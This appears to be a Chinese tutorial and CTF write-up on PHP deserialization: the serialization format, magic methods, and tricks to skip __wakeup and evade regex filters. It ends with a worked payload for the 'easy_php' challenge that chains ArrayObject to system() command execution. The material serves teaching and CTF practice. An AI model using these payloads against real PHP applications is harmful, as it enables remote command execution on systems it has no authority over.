PHP反序列化

梳理一下学过的(反)序列化的知识点

概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞

两种参考

看个序列化例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Class1
{
public $a="data";
public $b="name";
private $c="num";

public function name(){

return "this is a test!";
}
}

$test= new Class1();
$test1=serialize($test);
echo $test1;

//序列化的结果为:O:6:"Class1":3:{s:1:"a";s:4:"data";s:4:"*b";s:4:"name";s:9:"Class1c";s:3:"num";}

对象序列化后的结构为:

O:6:"Class1":3:{s:1:"a";s:4:"data";s:4:"%00%00*b";s:4:"name";s:9:"%00Class1%00c";s:3:"num";}

1
对象类型:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性的长度:"属性值";}
  • a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。
  • b是protected类型的变量,它的变量名长度为4,也就是b前添加了**%00%00。所以,protected属性的表示方式是在变量名前加上%00%00**。即:%00%00*b
  • c是private类型的变量,c的变量名前添加了**%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00**。即:%00Class1%00c
  • 虽然Test类中有name方法,但是,序列化得到的字符串中,只保存了公有变量a,保护变量b和私有变量c,并没保存类中的方法。也可以看出,序列化不保存方法。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Person
{
private $name="Thinking";
protected $sex="man";
public $age=["18"];


}
//class

$test= new Person();
$test1=serialize($test);
echo $test1;

//O:6:"Person":3:{s:12:"Personname";s:8:"Thinking";s:6:"*sex";s:3:"man";s:3:"age";a:1:{i:0;s:2:"18";}}

对照看

1
2
3
4
5
O:6:"Person":3:{s:12:"%00Person%00name";s:8:"Thinking";s:6:"%00%00*sex";s:3:"man";s:3:"age";a:1:{i:0;s:2:"18";}}

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
1
对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class-O,Array-a。

变量和参数类型:string-s,int-i,Array-a,引用-R。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Null N;
Array a:size:{key definition;value definition;(repeated per element)}
Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
Reference R:2;

三种访问控制的区别

public: 变量名

protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)

反序列化对访问类别不敏感(protected -> public)是指在进行对象反序列化时,访问修饰符的级别会被忽略或绕过。

在面向对象编程中,访问修饰符(如publicprotectedprivate)用于控制类的成员(字段、方法)的可访问性。protected访问修饰符表示成员只能在当前类或其子类中访问,而public访问修饰符表示成员可以在任何地方访问。

当一个对象被序列化时,其状态被转换为字节流以便存储或传输。在对象反序列化过程中,字节流会被还原为对象的状态。但是,有时候反序列化操作可能会忽略对访问修饰符的检查,导致一些本应该是受保护的成员变成了公开的,即从protected变成了public

这种行为可能会带来安全风险,因为本来受到访问限制的成员现在可以被任意访问和修改,可能会导致程序行为不一致或安全漏洞。因此,在进行对象反序列化时,需要特别注意对访问修饰符的敏感性,确保反序列化的对象状态不会违反设计的访问控制约束。

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct()  #每次创建新对象时先调用此方法,实例化的时候触发
__destruct() #某个对象的所有引用都被删除或者销毁时调用(没有变量指到当前对象时也会被触发,如 a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象),实例化或者反序列化的时候会触发
__toString() #把类被当做一个字符串使用时调用
__wakeup() #使用unserialize函数,反序列化恢复对象之前时调用,反序列化之前调用wakeup
__sleep() #使用serialize()函数,序列化对象之前时调用,序列化的时候会检查是否存在,若存在会先调用再序列化
__call() #在对象中,调用不存在的方法或调用权限不足时调用(比如私有变量private)
__callstatic() #在静态上下文中,调用不可访问的方法时触发
__get() #访问不存在的成员变量时调用
__set() #设置不存在的成员变量时调用
__invoke() #当尝试以调用函数的方式调用一个对象时触发
__autoload() #尝试加载未定义的类
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发

一些trick

__wakeup()失效

适用版本:PHP5<5.6.25 或 PHP7<7.0.10

当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

实际序列化内容为:

1
O:4:"Demo":1:{s:4:"Demo";s:7:"flag.php";}

如:

1
O:4:"Demo":2:{s:4:"Demo";s:7:"flag.php";}
PHP7.3

Serialize 特性:O 改为 C(需要利用内置了Serializable接口的类)

若只需绕过wakeup这就ok了

例如

1
O:4:"Demo":1:{s:4:"Demo";s:7:"flag.php";}

改为

1
C:4:"Demo":1:{s:4:"Demo";s:7:"flag.php";}
需要用属性命令执行

demo

1
2
3
4
5
<?php

$arr=array("a"=>1,"b"=>2);
$cc=new ArrayObject($arr);//在PHP中创建一个ArrayObject对象的语法
echo serialize($cc);

payload

1
O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{s:1:"a";i:1;s:1:"b";i:2;}i:2;a:0:{}i:3;N;}

用下面绕过__wakeup()

1
C:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{s:1:"a";i:1;s:1:"b";i:2;}i:2;a:0:{}i:3;N;}

举个例子

愚人杯3rd [easy_php]

考点:PHP7.3 __wakeup绕过,ArrayObject内置类

从上面我们已知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了

这种情况我们可以用内置类ArrayObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
/*
正则表达式 /^[Oa]:[\d]+/i 可以解读为:

^:匹配字符串的开头
[Oa]:匹配字符 O 或 a
::匹配冒号字符
[\d]+:匹配一个或多个数字字符
/i:表示不区分大小写
*/

?>

这个题目很明显就是要执行system方法,然后不可以以O\a打头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是这里都去掉了,所以回到上面说的那个ArrayObject,他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}

}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
//O:11:"ArrayObject":4:{i:0;i:0;i:1;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}i:2;a:0:{}i:3;N;}

payload

1
C:11:"ArrayObject":4:{i:0;i:0;i:1;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}i:2;a:0:{}i:3;N;}

绕过preg_match() 匹配的关键字

PHP低版本

可使用+<绕过正则,如:

1
O:4:"Demo":1:{s:4:"Demo";s:7:"flag.php";}
1
2
O:+4:"Demo":1:{s:8:"Demofile";s:8:"flag.php";}
O:<4:"Demo":1:{s:8:"Demofile";s:8:"flag.php";}
普通字符串

PHP序列化中存在序列化类型 S,相较于小写的 s,大写 S 是escaped字符串,会将 \xx 形式作为一个16进制字符处理,如:D 的十六进制是 44,所以把 Demo替换为 \44emo 即可绕过。

/^O:\d+/

1
O:4:"Demo":1:{s:4:"Demo";s:7:"flag.php";}
1
O:4:"Demo":1:{S:4:"\44emo";s:7:"flag.php";}